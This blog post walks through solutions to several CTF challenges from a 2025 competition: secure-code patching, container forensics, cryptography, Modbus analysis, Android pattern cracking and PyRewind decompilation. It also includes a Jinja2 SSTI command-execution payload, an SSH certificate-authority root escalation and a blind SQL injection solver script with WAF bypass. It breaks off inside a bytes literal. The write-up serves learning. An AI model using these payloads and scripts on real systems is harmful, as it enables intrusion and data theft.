m7eesn blog

Cybertalents - New Year Challenge (2025)

New Year Challenge 2025 » Apple

General Information / Basic / 25 (pts)

FLAG Format: just the name of the malware

Description:

A malware that plagues MacOS devices, and relies on Flash updates and social engineering tactics in order to dupe victims into installing the malware on devices.


This challenge was an easy one few google searches and you find This simple malware still plagues one in 10 Mac users,

The flag is Shlayer


New Year Challenge 2025 » Mmms

Secure Coding / Easy / 50 (pts)

Flag Format: Flag{}

Description:

We need fix this ASP for the students to get all the answers challenge at /challenge/.

The provided rules


The challenge provided the following source code for you to secure it,

from flask import Blueprint, jsonify, request
from app.utils import session_validate
from app import db
from models import User, Assignment

api = Blueprint("api", __name__)


@api.route("/assignment/validation", methods=["POST"])
def assignments_validation():
    user = session_validate()
    if user:
        id = request.json.get("id")
        answer = request.json.get("answer")
        query = Assignment.query.get(id)
        if query:
            if query.hidden:
                return jsonify({"message": "Hidden assignment"})
            else:
                if query.answer == answer:
                    return jsonify({"message": "Correct answer"})
                else:
                    return jsonify({"message": "Incorrect answer"})
        else:
            return jsonify({"message": "The assignment dont't exist"})

    else:
        return jsonify({"Message": "Please login"}), 401


@api.route("/assignment/delete", methods=["POST"])
def delete_assignment():
    user = session_validate()
    if user:
        if user.role == "teacher":
            id = request.json.get("id")
            try:
                assignment = Assignment.query.filter_by(id=id).first()
                if assignment:
                    db.session.delete(assignment)
                    db.session.commit()
                    return jsonify({"delete": True})
                else:
                    return jsonify({"message": "The assignment dont't exist"})
            except Exception as e:
                print(e)

                return jsonify({"delete": False})
        else:
            return jsonify({"Message": "Only teacher can add assignments"}), 401
    else:
        return jsonify({"Message": "Please login"}), 401


@api.route("/assignment/update", methods=["POST"])
def update_assignment():
    user = session_validate()
    if user:
        if user.role == "teacher":
            id = request.json.get("id")
            try:
                assignment = Assignment.query.filter_by(id=id).first()
                if assignment:
                    assignment.answer = request.json.get("answer")
                    assignment.title = request.json.get("title")
                    assignment.hidden = request.json.get("hidden")
                    assignment.description = request.json.get("description")
                    db.session.commit()
                    return jsonify({"update": True})
                else:
                    return jsonify({"message": "The assignment dont't exist"})
            except Exception as e:
                print(e)
                return jsonify({"update": False})
        else:
            return jsonify({"Message": "Only teacher can add assignments"}), 401

    else:
        return jsonify({"Message": "Please login"}), 401


@api.route("/assignment/create", methods=["POST"])
def create_assignment():
    user = session_validate()
    if user:
        if user.role == "teacher":
            try:
                assignment = Assignment(
                    title=request.json.get("title"),
                    description=request.json.get("description"),
                    answer=request.json.get("answer"),
                    hidden=request.json.get("hidden"),
                    user_id=user.id,
                )
                db.session.add(assignment)
                db.session.commit()
                return jsonify({"create": True})
            except Exception as e:
                print(e)
                return jsonify({"create": False})

        else:
            return jsonify({"Message": "Only teacher can add assignments"}), 401

    else:
        return jsonify({"Message": "Please login"}), 401


@api.route("/profile", methods=["GET"])
def profile():
    user = session_validate()
    if user:
        user = user.__dict__
        elements_to_clean = ["_sa_instance_state", "password"]
        for i in elements_to_clean:
            del user[i]
        return jsonify(user)
    else:
        return jsonify({"Message": "Please login"}), 401


@api.route("/profile/update_name", methods=["POST"])
def update_name():
    user = session_validate()
    if user:
        for key, value in request.json.items():
            setattr(user, key, value)
        try:
            db.session.commit()
            return jsonify({"update": True})
        except:
            return jsonify({"update": False})

    else:
        return jsonify({"Message": "Please login"}), 401

By quickly scanning the code, you notice /profile/update_name which accepts all user input and updates the user session, you can use this endpoint to update your own role to teacher thus leaking all the assignments to fix this venerability, you just need to validate that you are only updating fname and lname.

@api.route("/profile/update_name", methods=["POST"])
def update_name():
    user = session_validate()
    if user:
        for key, value in request.json.items():
            if key in ["fname", "lname"]:
                setattr(user, key, value)
        try:
            db.session.commit()
            return jsonify({"update": True})
        except:
            return jsonify({"update": False})

    else:
        return jsonify({"Message": "Please login"}), 401

Once you update the code, the flag become accessible at /flag/.

The flag is `Flag{QCFAYlVrZDZWczBaaDlzVEFYejhwQ2d3dE95UzFlSDVCaDN0ZFJwWHRvbStRbz1lN2Q5MGY3ZmMwNDM1YzU3}`

Year Challenge 2025 » VRCon

Digital Forensics / Easy / 50 (pts)

Flag Format: Flag{}

Description:

I was playing with containers and I left a message in someplace for you. can you find it? You are provided with data.tar file.


When someone talks about containers, they most likely mean docker, thus you can do the following

sudo docker load < data.tar

Which will extract the container and you can then run it using

sudo docker run ---rm -it --entrypoint ash data:latest

Once you are inside the container, you find yourself in /data directory, and there is a rabbit hole file mydata.txt, however your target is /root/data.txt, i personally used a custom command to inspect the layers of the container and find the file

$ dfimage data:latest
FROM alpine:latest
ADD file:33ebe56b967747a97dcec01bc2559962bee8823686c9739d26be060381bbb3ca in /
CMD ["/bin/sh"]
RUN RUN /bin/sh -c apk add --no-cache curl # buildkit
RUN RUN /bin/sh -c mkdir /data # buildkit
RUN RUN /bin/sh -c echo "Just a random sentence." >> /data/mydata.txt # buildkit
RUN RUN /bin/sh -c echo "Another line with more words." >> /data/mydata.txt # buildkit
#.... Many more layers of unimportant data...
RUN RUN /bin/sh -c Important=$(curl -s https://pastebin.com/raw/7Ch2T24f) \
    &&     echo "$Important" > /root/data.txt \
    &&     echo "$Important" # buildkit
RUN WORKDIR /data
RUN CMD ["cat" "/data/mydata.txt"]

reading the data in /root/data.txt you get the following string 3MtqnQWQvE2FnMcHjiH1JHKJminyCGD2GpBfaTCpPN5ss5pPSGt, i tried to base64 decode it and that was a dead end, so i went CyberChef used the magic tool, and it was base58 encoded, decoding it you get the flag.

The flag is Flag{1_C4n_G0_Thr0u9h_D0cK3R_L4Y3ERS}


New Year Challenge 2025 » gym_hacker_1337

Web Security / Easy / 50 (pts)

Flag Format: Flag{}

Description:

We are currently developing our app and share each stage of the process as an open-source project. Start the challenge now to see a demo!


So you start the challenge, and spend unreasonable amount of time trying to attack the JWT token, trying to find SQL injection, but you don’t find any. You notice the app is flask and inspecting the source you see something <!-- Jinja2 Template for Dynamic Data -->, you suspect it’s probably SSTI, you try to inject {%raw %} {{7*7}} {% endraw %} everywhere using BurpSuite, but nothing dam works.

Then, you take a break and then start over, from reading the challenge description, you notice open-source project phrase, so you take the challenge name to google, you find nothing. You then try to search for gym_hacker_1337 in GitHub, and you find the ddd-jjaaiw/gym_hacker_1337, which looks like the current app.

Checking the app.py source you notice

with app.app_context():
    db.create_all()
    try:
        db.session.add(User(name="admin",
                        email="[email protected]",
                        password=bcrypt.generate_password_hash("admin_password_here").decode('utf-8'), secret=uuid.uuid4().hex,is_admin=True))
        db.session.commit()
    except Exception as e:
        print(e)

Trying the given password for admin, it doesn’t work. You notice there is 3 commits for the repo, running blame on app.py you notice the following

diff --git a/app.py b/app.py
index 41b211f..12936fd 100644
--- a/app.py
+++ b/app.py
@@ -105,8 +105,8 @@ def admin():
     db.create_all()
     try:
         db.session.add(User(name="admin",
-                        email="[email protected]",
-                        password=bcrypt.generate_password_hash("wLrv0Zf35DxF7Tq9z3oieVZBXOknR1rV").decode('utf-8'), secret=uuid.uuid4().hex,is_admin=True))
+                        email="[email protected]",
+                        password=bcrypt.generate_password_hash("admin_password_here").decode('utf-8'), secret=uuid.uuid4().hex,is_admin=True))
         db.session.commit()
     except Exception as e:
-        print(e)
\ No newline at end of file
+        print(e)

So the credentials are [email protected]:wLrv0Zf35DxF7Tq9z3oieVZBXOknR1rV. Checking the rest of the app you notice the SSTI injection point in app.py

@app.route("/admin",  methods=['GET'])
def admin():
    if session and session["email"] and session.get("is_admin") :
        debug=""
        print(request.args.get('depuuugggAdmIn_get') )
        if request.args.get('depuuugggAdmIn_get') :
            debug=Template(request.args.get('depuuugggAdmIn_get')).render()
            
        return render_template("admin.j2", name=session["name"],users=User.query.all(),debug=debug)
    else:
        return redirect(url_for("login"))

So, it’s simply matter of getting SSTI for jinja2, using generic payload like {% raw %}{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}{% endraw %} you are able to see that it is being executed uid=0(root) gid=0(root) groups=0(root), from there you can do whatever you want. The commands i used to read the flag are

ls /
cat /*flag.txt
The flag is `Flag{QCFAb0tYdUR5ZVV5b3FMZE92NEJDd3RBSC9wZWNtRWtDMmRiRDZqNUhpUHBXTT0xYjM2MmUyM2U0ZTZiODBh}`

New Year Challenge 2025 » Shanks

Cryptography / Medium / 100 (pts)

Description:

While Shanks was looking for the One Piece, he found this encrypted flag that was said to guide you to the One Piece, can you help him?

The given data is:

n = 100877806580164361109432032005997023263576622341181642177532225015165831192531617284237232394810126138303518097999732573544724845159494418613403332447939798603756935483027253956250954027519877279970585328391988407505644914807188569830853273734260922470799656992004484041859916458226992861831862355220985442063

p = 166632889737946751774729831850051340173923789682364639132773496994940951170736135769399065367498423865365775612016029141202750681571995841145229744021576866801324674038774542536760476598001960524267256469608768561127494531270871001958550550609802641729152386485321063274157653468251668857533405190949582743431

encrypted_flag = 550bc9169355ccc02aef03074dd40de5a58f1d88f23fd7beaf3a22baba7c7f91

The encryption script

from Crypto.Util.number import getPrime
from secrets import randbelow
from secret import flag
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib

class Shanks:
    def __init__(self):
        self.n, self.p, self.key = self.key_gen()

    def key_gen(self):
        p = getPrime(1024)
        key = randbelow(p)
        n = pow(key, 2, p)
        return n, p, key

    def AES_encrypt(self, plain):
        cipher = AES.new(hashlib.sha256(self.key.to_bytes((self.key.bit_length() + 7) // 8, 'big')).digest(), AES.MODE_ECB)
        padded_plain = pad(plain.encode(), AES.block_size)
        ciphertext = cipher.encrypt(padded_plain)
        return ciphertext.hex()


Shanks = Shanks()
encrypted_flag = Shanks.AES_encrypt(flag)
with open('output.txt', 'w') as f:
    f.write("n =" + str(Shanks.n) + '\n')
    f.write("p =" + str(Shanks.p) + '\n')
    f.write("encrypted_flag =" + encrypted_flag + '\n')

The challenge is a simple RSA encryption, where the key is the square root of (n) modulo (p). The encryption is done using AES in ECB mode with a key derived from the square root of (n). The task is to recover the key and decrypt the flag.

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from sympy import sqrt_mod

def decrypt_flag(n, p, enc_hex):
    enc = bytes.fromhex(enc_hex)

    # Compute one modular square root of n
    root = sqrt_mod(n, p)

    def try_root(r):
        r_bytes = r.to_bytes((r.bit_length() + 7) // 8, 'big')
        aes_key = hashlib.sha256(r_bytes).digest()
        cipher = AES.new(aes_key, AES.MODE_ECB)
        return cipher.decrypt(enc)

    # First root
    try:
        pt = unpad(try_root(root), AES.block_size)
        return pt.decode()
    except ValueError:
        # If padding fails, try the other root
        pt_alt = unpad(try_root(p - root), AES.block_size)
        return pt_alt.decode()

# Provided challenge data
n = 100877806580164361109432032005997023263576622341181642177532225015165831192531617284237232394810126138303518097999732573544724845159494418613403332447939798603756935483027253956250954027519877279970585328391988407505644914807188569830853273734260922470799656992004484041859916458226992861831862355220985442063
p = 166632889737946751774729831850051340173923789682364639132773496994940951170736135769399065367498423865365775612016029141202750681571995841145229744021576866801324674038774542536760476598001960524267256469608768561127494531270871001958550550609802641729152386485321063274157653468251668857533405190949582743431
enc_flag = "550bc9169355ccc02aef03074dd40de5a58f1d88f23fd7beaf3a22baba7c7f91"

flag = decrypt_flag(n, p, enc_flag)
print("Flag:", flag)

The flag is flag{5H4NK5_F0UND_7H3_0N3_r007}


New Year Challenge 2025 » FieldBUS

Network Security / Medium / 100 (pts)

Flag format: flag{text}

Description:

Our intrusion detection system has flagged suspicious network traffic directed at one of the critical PLCs controlling chlorine injection. Initial analysis suggests someone is attempting to upload new instructions to the PLC. Your task is to investigate what happened.

You are given a fieldbus.pcapng file, which is a capture file.


Searching google for what fieldbus is, you find that it’s a protocol used in industrial control systems, and you can use Wireshark to analyze the capture file. Some more googling and manual readings and scripting you will be able to make simple script to extract the flag.

import pyshark

capture = pyshark.FileCapture("./fieldbus.pcapng", display_filter=f"tcp.dstport == 502 && modbus")

binary_data = ""
for packet in capture:
    bin_data = packet.modbus.data.replace(":", "")
    binary_data += "1" if bin_data == "ff00" else "0"

ascii_output = ""
for i in range(0, len(binary_data), 8):
    byte_segment = binary_data[i : i + 8]
    if len(byte_segment) == 8:
        ascii_output += chr(int(byte_segment, 2))

print(ascii_output)

The flag is flag{modbus_FYR}


New Year Challenge 2025 » Th3 Lock3R

Digital Forensics / Medium / 100 (pts)

Flag Format: Flag{Pattern}

Description:

I downloaded an application from the internet that locks my phone with a pattern, but now I can’t remember the pattern I set. I didn’t back up my data on the cloud, and formatting the device isn’t an option because I need to keep my files. Now, I’m stuck and need help uncovering a way to unlock my phone without losing any of my important data.

You are provided with th3_Lock3R.7z file, which is a 7z compressed file containing ad1 image file.


The challenge is a simple forensic challenge, you can use FTK Imager to mount the image, i personally don’t like to use the GUI, so i extracted the entire image and copied over to my pentesting machine, then i started searching around and reading the description, we know he downloaded an application to lock his phone, doing simple find on the entire image we notice com.domobile.applockwatcher, going into data/data/com.domobile.applockwatcher and searching we find something like rg lock

<string name="pk_applock_uuid">e7123be3245d40b9b169aeb13193bf25</string>
<boolean name="is_image_lock_pattern" value="true" />
<boolean name="vibrate_pattern_lock" value="false" />
<string name="image_lock_pattern">9Wpt8KhfWw6x5mG1g27UI1Qq+oY=</string>

the value of image_lock_pattern is interesting which look like base64 encoded string, decoding it you some unreadable characters, searching around the web for how to unlock android pattern lock, eventually you come cross a blog post Hack Application Pattern Lock, which it seems the author used as source for this challenge, as it describes the same steps to unlock the pattern lock. Following the steps you get the script

#!/usr/bin/env python
#
#  Copyright (c) 2012, Chema Garcia
#  All rights reserved.

import os
import sys
import time
import multiprocessing
import hashlib
import binascii
import itertools

MATRIX_SIZE = [3,3]
MAX_LEN = MATRIX_SIZE[0]*MATRIX_SIZE[1]
MIN_POSITIONS_NUMBER = 3
FOUND = multiprocessing.Event()

def lookup(param):
    global FOUND
    lenhash = param[0]
    target = param[1]
    positions = param[2]

    if FOUND.is_set() is True:
        return None

    # get all possible permutations
    perms = itertools.permutations(positions, lenhash)
    # for each permutation
    for item in perms:
        # build the pattern string
        if FOUND.is_set() is True:
            return None
        pattern = ''.join(str(v) for v in item)
        # convert the pattern to hex (so the string '123' becomes '\x01\x02\x03')
        key = binascii.unhexlify(''.join('%02x' % (ord(c) - ord('0')) for c in pattern))
        # compute the hash for that key
        sha1 = hashlib.sha1(key).hexdigest()
        # pattern found
        if sha1 == target:
            FOUND.set()
            return pattern
    # pattern not found
    return None

def show_pattern(pattern):
    """
    Shows the pattern "graphically"
    """

    gesture = [None, None, None, None, None, None, None, None, None]

    cont = 1
    for i in pattern:
        gesture[int(i)] = cont
        cont += 1

    print ("[+] Gesture:\n")
    for i in range(0, 3):
        val = [None, None, None]
        for j in range(0, 3):
            val[j] = " " if gesture[i * 3 + j] is None else str(gesture[i * 3 + j])

        print ('  -----  -----  -----')
        print ('  | %s |  | %s |  | %s |  ' % (val[0], val[1], val[2]))
        print ('  -----  -----  -----')

def crack(target_hash):
    ncores = multiprocessing.cpu_count()
    pool = multiprocessing.Pool(ncores)
    # generates the matrix positions IDs
    positions = [i for i in range(MAX_LEN)]
    
    # sets the length for each worker
    generate_worker_params = lambda x: [x, target_hash, positions]
    params = [generate_worker_params(i) for i in range(MIN_POSITIONS_NUMBER, MAX_LEN + 1)]
    
    result = pool.map(lookup,params)
    pool.close()
    pool.join()
    
    ret = None
    for r in result:
        if r is not None:
            ret = r
            break
    return ret

def main():
    print ('')
    print ('################################')
    print ('# Android Pattern Lock Cracker #')
    print ('#             v0.2             #')
    print ('# ---------------------------- #')
    print ('#  Written by Chema Garcia     #')
    print ('#     http://safetybits.net    #')
    print ('#     [email protected]     #')
    print ('#          @sch3m4             #')
    print ('################################\n')

    print ('[i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/\n')
    
    # check parameters
    if len(sys.argv) != 2:
        print ('[+] Usage: %s /path/to/gesture.key\n' % sys.argv[0])
        sys.exit(0)
    
    # check gesture.key file
    if not os.path.isfile(sys.argv[1]):
        print ("[e] Cannot access to %s file\n" % sys.argv[1])
        sys.exit(-1)
        
    # load SHA1 hash from file
    f = open(sys.argv[1], 'rb')
    gest = f.read(hashlib.sha1().digest_size).encode('hex')
    f.close()

    # check hash length
    if len(gest) / 2 != hashlib.sha1().digest_size:
        print ("[e] Invalid gesture file?\n")
        sys.exit(-2)

    # try to crack the pattern
    t0 = time.time()
    pattern = crack(gest)
    t1 = time.time()

    if pattern is None:
        print ("[:(] The pattern was not found...")
        rcode = -1
    else:
        print ("[:D] The pattern has been FOUND!!! => %s\n" % pattern)
        show_pattern(pattern)
        print ("")
        print ("It took: %.4f seconds" % (t1-t0))
        rcode = 0

    sys.exit(rcode)

if __name__ == "__main__":
    main()

Which is a python 2.7 script to decrypt the pattern lock, you get the this output:

[:D] The pattern has been FOUND!!! => 6304258
[+] Gesture:

  -----  -----  -----
  | 3 |  |   |  | 5 |
  -----  -----  -----
  -----  -----  -----
  | 2 |  | 4 |  | 6 |
  -----  -----  -----
  -----  -----  -----
  | 1 |  |   |  | 7 |
  -----  -----  -----

However, if you input Flag{6304258} it will be incorrect as the pattern represents touch points on the screen, and the pattern is not the same as the phone keypad, The typical phone keypad is:

PS: i tried the Flag{6304258} it didn’t work =P

  -----  -----  -----
  | 1 |  | 2 |  | 3 |
  -----  -----  -----
  -----  -----  -----
  | 4 |  | 5 |  | 6 |
  -----  -----  -----
  -----  -----  -----
  | 7 |  | 8 |  | 9 |
  -----  -----  -----
         -----
         | 0 |
         -----

So from the pattern above we can deduce the following 1=7, 2=4, 3=1, 4=5, 5=3, 6=6, 7=9

The flag is Flag{7415369}


New Year Challenge 2025 » Authorizer

Machines / Medium / 100 (pts)

Description:

They say that you are a certified hacker, PROVE IT.


The challenge is a machine which you need to privilege escalate to root, signing into the machine, you immediately notice the server.ca file, first i thought it was a certificate file to access hidden website or something, however that lead to no where, looking at server.ca you notice it’s owned by root, checking /etc/ssh/sshd_config you notice curios things like

TrustedUserCAKeys /root/server.ca.pub
PubkeyAuthentication yes
PermitRootLogin yes

So, the expected thing is to generate SSH key sign it with server.ca and then logon as root. Running the following commands will generate RSA key sign it with server.ca and then logon as root.

$ ssh-keygen -t rsa -b 2048 -f user_key -C "user@example"
$ ssh-keygen -s server.ca -I user@example -n root -V +52w user_key.pub
$ ssh -i ./user_key root@localhost

You will be logged as root with has access to /root/flag.txt

The flag is Flag{QCFAVnY4NG1NemZRYWladzROUFRoQXJhd1loOW9PazgyekJtQVFBeExNTTJ4TExPUVhLSVVHVWY5UW1oMmlHdGFjM1FXdWFaRjdsV0ovbXFGTXJiYWl2OEd2WWNzY1pqYnZ1Q2RGZTQ2RERXazg9MDdjNzI4YjE4NTUzZDA3OA==}


New Year Challenge 2025 » Harsq

Web Security / hard / 200 (pts) Flag Format: Flag{} Description:

This is the secret of MySeqret can you secret what my secret.


The challenge is a web application, clicking around, you find 3 possible exploitation points, /contact, /register_h-arsq and /login_h-arsq. Checking each one for possible SQL injections, lead to nowhere, However, you receive an JWT token, after decoding it’s we know it’s flask app, I spent a whole day attacking the token hoping that might lead to the admin account which might contain the flag. Sadly this effort is wasted. There was an extra endpoint /profile?id=2 which only shows up after you sign-in, sending simple 2' test results in 500 response

HTTP/1.1 500 INTERNAL SERVER ERROR
Server: nginx/1.27.1
Date: Wed, 08 Jan 2025 18:29:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 17
Connection: keep-alive
Vary: Cookie

An error occurred

Testing for simple 1 or 1=1 results in 200 response.

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 08 Jan 2025 18:30:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3477
Connection: keep-alive
Vary: Cookie

So we are definitely dealing with SQL injection attack, so i prep to try data extraction using 1 union select 1,2,3 which lead to 401 response

HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.27.1
Date: Wed, 08 Jan 2025 18:32:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Vary: Cookie

Hack detected

So we are dealing with some sort of WAF. Many hours later i was able to gather at least some information about the database using simple recon and word-lists, i was able to guess there are 5 columns by using 1 ORDER BY N and changing N in ascending order, trying 1 #ORDER BY 6 results in 200 so we are dealing with MySQL database as # is MySQL specific, trying to guess the database version was little harder as i had to rely on blind test as well 1 AND @@version>5.7 AND 5.8<@@version, so i estimated the database to be in 5.x range., Understanding that there are hard filters in place even when URL encoding i built script to run thru all possible blocked operations, i found out the following are blocked /select|like|into|regexp|\(|\)|\[|\]|\~|\^/i and probably more.

At this point it was end of day 2 of and starting to feel bad, i searched everywhere for a way to bypass the select filter, using different cases, adding comments, and there was nothing. I developed a small script to guess columns using a word-list, i found the following columns id, name, password, email, secret this matches the number of the columns i got via 1 ORDER BY N, at this point it become clear we are supposed to find a way to get the value of secret column, given the description.

So i went back to very old blogs about 5.x era and looked for ways, turns out you can do the following in MySQL 5.x probably 8.x as well column >= flagA AND column < flagB which to my surprise it did work as we already know that the flag starts with Flag{, i quickly made a script to do blind attack going thru the list of all possible characters, that wasn’t very smart, MySQL was in case-insensitive mode, thus A and a are the same. Searching around It seems it possible to force binary comparison, that did the trick until it didn’t the search was generating garbage as i wasn’t sorting the list and there was characters which cause problems, so in the end i had to manually craft a characters list for it to work correctly.

PS: bonus point, the password for [email protected] is admin =)

Anyway, the solver script as the following

#!/usr/bin/env python3

import time
import requests
import string

session = requests.Session()

def backoff(delay=2, retries=3):
    def decorator(func):
        def wrapper(*args, **kwargs):
            current_retry = 0
            current_delay = delay
            while current_retry < retries:
                try:
                    return func(*args, **kwargs)
                except Exception as e:
                    current_retry += 1
                    if current_retry >= retries:
                        raise e
                    print(f"[-] Failed to execute function '{func.__name__}'. '{str(e)}' Retrying in {current_delay} seconds...")
                    time.sleep(current_delay)
                    current_delay *= 2

        return wrapper

    return decorator

def next_in_set(c):
    i = sorted_chars.index(c)
    if i < len(sorted_chars) - 1:
        return sorted_chars[i + 1]
    return None

@backoff(retries=5, delay=2)
def is_condition_true(prefix, c):
    c2 = next_in_set(c)
    if c2 is not None:
        payload = f"1 AND secret COLLATE utf8mb4_bin >= '{prefix + c}' AND secret COLLATE utf8mb4_bin < '{prefix + c2}'"
        
    else:
        payload = f"1 AND secret COLLATE utf8mb4_bin >= '{prefix + c}'"

    r = session.get(URL + "/profile", params={"id": payload}, timeout=5)

    if r.status_code == 200:
        return True
    if r.status_code == 400:
        return False

    print(f"[X] Unknown state '{payload}': {r.status_code} & {r.text}")

    return False

URL = "http:/challenge-url.cybertalentslabs.com"
FILTERED = ["(", ")", "[", "]", '"', "'", "`", "'", '"', "\\", "~"]
GUESS_SET = "!$&-0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}="
sorted_chars = "".join(sorted(GUESS_SET))  # ensure ascending ASCII order
prefix = "Flag{"
max_len = 120
print(f"Checking: {sorted_chars}")

print("Logging in...")

r = session.post(
    f"{URL}/login_h-arsq",
    data={"email": "[email protected]", "password": "admin"},
    verify=False,
)

print(r.status_code)

for pos in range(1, max_len + 1):
    found_char = None

    for c in sorted_chars:
        if c in FILTERED:
            continue

        if is_condition_true(prefix, c):
            prefix += c
            print(f"[+] Found character #{pos}: '{c}' => Current prefix = '{prefix}'")
            found_char = c
            break

    if not found_char:
        print("[+] No more characters matched. Stopping.")
        break

    print(f"Done! Guessed flag (so far): {prefix}")

After running the script you should get something like

[+] Found character #1: 'Q' => Current prefix = 'Flag{Q'
[+] Found character #2: 'C' => Current prefix = 'Flag{QC'
[+] Found character #3: 'F' => Current prefix = 'Flag{QCF'
[+] Found character #4: 'A' => Current prefix = 'Flag{QCFA'
[+] Found character #5: 'T' => Current prefix = 'Flag{QCFAT'
[+] Found character #6: 'E' => Current prefix = 'Flag{QCFATE'
Failed to execute function 'is_condition_true'. '('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))' Retrying in 2 seconds...
[+] Found character #7: 'N' => Current prefix = 'Flag{QCFATEN'
Failed to execute function 'is_condition_true'. '('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))' Retrying in 2 seconds...
[+] Found character #8: 'Z' => Current prefix = 'Flag{QCFATENZ'
[+] Found character #9: 'c' => Current prefix = 'Flag{QCFATENZc'
...many characters later

The flag is Flag{QCFATENZc1NrbG90b2hKTTJJdnNDckZEdWxPZ1ZvR1Q4cFNpRVRkK0YxS0p2OD1hOGY1OGFhN2I4ZDE2ZGVh}


New Year Challenge 2025 » PyRewind

Malware Reverse Engineering / Hard / 200 (pts)

Description:

I have always asked myself how python works under the hood! and you are given a main.pyc file, which is a compiled python file.


So we are dealing with a compiled python file, to de-compile it i tried using uncompyle6 and decompyle3 but sadly neither worked, i then tried pycdc which managed to de-compile the script partially, however it failed to generate complete script, as the source pyc file is using 3.12 which pycdc is not compatible with yet. Looking around i found pylingual which is a new de-compiler that supports 3.12 and it worked like a charm, the de-compiled script looks like the following

After de-compiling you get the following script

import marshal
import types
import sys
b = b'\xcb\r\r\n\x00\x00\x00\x00\xdb\xcd\xcbf\x89\x10\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xf3\x18\x00\x00\x00\x97\x00d\x00d\x01l\x00Z\x00d\x02e\x01f\x02d\x03\x84\x04Z\x02y\x01)\x04\xe9\x00\x00\x00\x00N\xda\x06returnc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x03\x00\x00\x00\xf3\xfe\x10\x00\x00\x97\x00|\x00j\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x01\xab\x01\x00\x00\x00\x00\x00\x00}\x01t\x03\x00\x00\x00\x00\x00\x00\x00\x00|\x01\xab\x01\x00\x00\x00\x00\x00\x00d\x02k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x05d\x06\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x06d\x07\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d\x08k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x06d\x07\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x07d\t\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00d\nk7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x07d\t\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\td\x0b\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x0c\x00\x00d\x0ck7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\td\x0b\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x0bd\r\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x05\x00\x00d\x0ek7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x0bd\r\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\rd\x0c\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x01\x00\x00d\x0fk7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\rd\x0c\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x0cd\x10\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d\x11z\x01\x00\x00d\x12k7\x00\x00r\x